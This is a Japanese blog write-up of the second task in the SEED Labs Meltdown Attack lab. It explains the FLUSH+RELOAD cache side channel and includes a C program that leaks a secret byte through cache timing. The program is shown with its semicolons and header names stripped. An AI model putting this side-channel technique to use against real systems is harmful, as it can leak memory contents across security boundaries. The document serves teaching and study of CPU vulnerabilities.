メルトダウンアタック(2)-シードラボ
Meltdown Attack Seed Lab
これはメルトダウンアタックの2番目の実験です。元の実験チュートリアルはここにあります:
https://seedsecuritylabs.org/Labs_16.04/System/Meltdown_Attack/
タスク2:サイドチャネルとしてキャッシュを使用する
この実験の目的は、機能の欠陥を使用してサイドチャネルから秘密情報を取得することです。この実験は、次の2つの仮定に基づいています。
- 欠陥のある関数は、配列から値をロードするためのインデックスとしてシークレットを使用します。
- この秘密は外部からは入手できません。
目標:FLUSH + RELOADテクノロジーを使用して、サイドチャネルを使用してこの秘密を取得する
FLUSH + RELOADには3つのステップがあります。
- キャッシュメモリからすべての配列をフラッシュして、配列がキャッシュにキャッシュされないようにします
- ウェイクアップ欠陥機能。この欠陥関数は、シークレットに基づいて配列の要素にアクセスします。この動作により、対応する配列要素がキャッシュにキャッシュされます。
- 配列全体をリロードし、各要素のリロード時間を測定します。要素の読み込みが速い場合は、その要素が以前にキャッシュにあったことを意味します。この要素は、以前に欠陥のある機能によってアクセスされた要素である可能性があります。したがって、私たちは秘密が何であるかを知ることができます。
写真は実験チュートリアルの配布資料からのものです
次のプログラムは、FLUSH + RELOADテクノロジーを使用して、変数secret内のバイトの値を検索します。 1バイトの秘密情報の場合、256の可能な値があり、各値を配列要素にマップする必要があります。最も簡単な方法は、256個の要素を持つ配列を定義することです。ただし、キャッシュはバイトレベルではなくブロックレベルに基づいています。 1つにアクセスするとarray[k]
、この要素を含むメモリ全体がキャッシュされます。つまり、array[k]
の隣接する要素もキャッシュされるため、シークレットの値を推測するのが困難になります。この問題を解決するために、256 * 4096の配列を作成します。 RELOADステップで使用される各要素はarray[k * 4096]
です。標準のキャッシュブロックサイズは64バイトであるため、2つの異なる要素がありますarray[i * 4096]
with array[j * 4096]
基本的なキャッシュブロックには含まれません。
array[0*4096]
隣接するメモリの変数と同じキャッシュの基本ブロックに分類される可能性があります。したがって、array[0*4096]
Come to FLUSH + RELOADの使用は避ける必要があります。プログラムの一貫性を維持するために、すべてのk値に対してarray[k*4096 + DELTA]
を使用します。ここで、DELTAは定数1024です。
//FLUSHRELOAD.c #include #include uint8_t array[256*4096] int temp char secret = 94 /* cache hit time threshold assumed*/ #define CACHE_HIT_THRESHOLD (80) #define DELTA 1024 void flushSideChannel() { int i // Write to array to bring it to RAM to prevent Copy-on-write for (i = 0 i < 256 i++) array[i*4096 + DELTA] = 1 // Flush the values of the array from cache for (i = 0 i < 256 i++) _mm_clflush(&array[i*4096 +DELTA]) } void victim() { temp = array[secret*4096 + DELTA] } void reloadSideChannel() { int junk=0 register uint64_t time1, time2 volatile uint8_t *addr int i for(i = 0 i < 256 i++){ addr = &array[i*4096 + DELTA] time1 = __rdtscp(&junk) junk = *addr time2 = __rdtscp(&junk) - time1 if (time2 <= CACHE_HIT_THRESHOLD){ printf('array[%d*4096 + %d] is in cache.
', i, DELTA) printf('The Secret = %d.
',i) } } } int main(int argc, const char **argv) { flushSideChannel() victim() reloadSideChannel() return (0) }
最初の実験のデータに基づいて調整CACHE_HIT_THRESHOLD
、精度を向上させることができます。
実験結果
秘密を見つけたことがわかりました。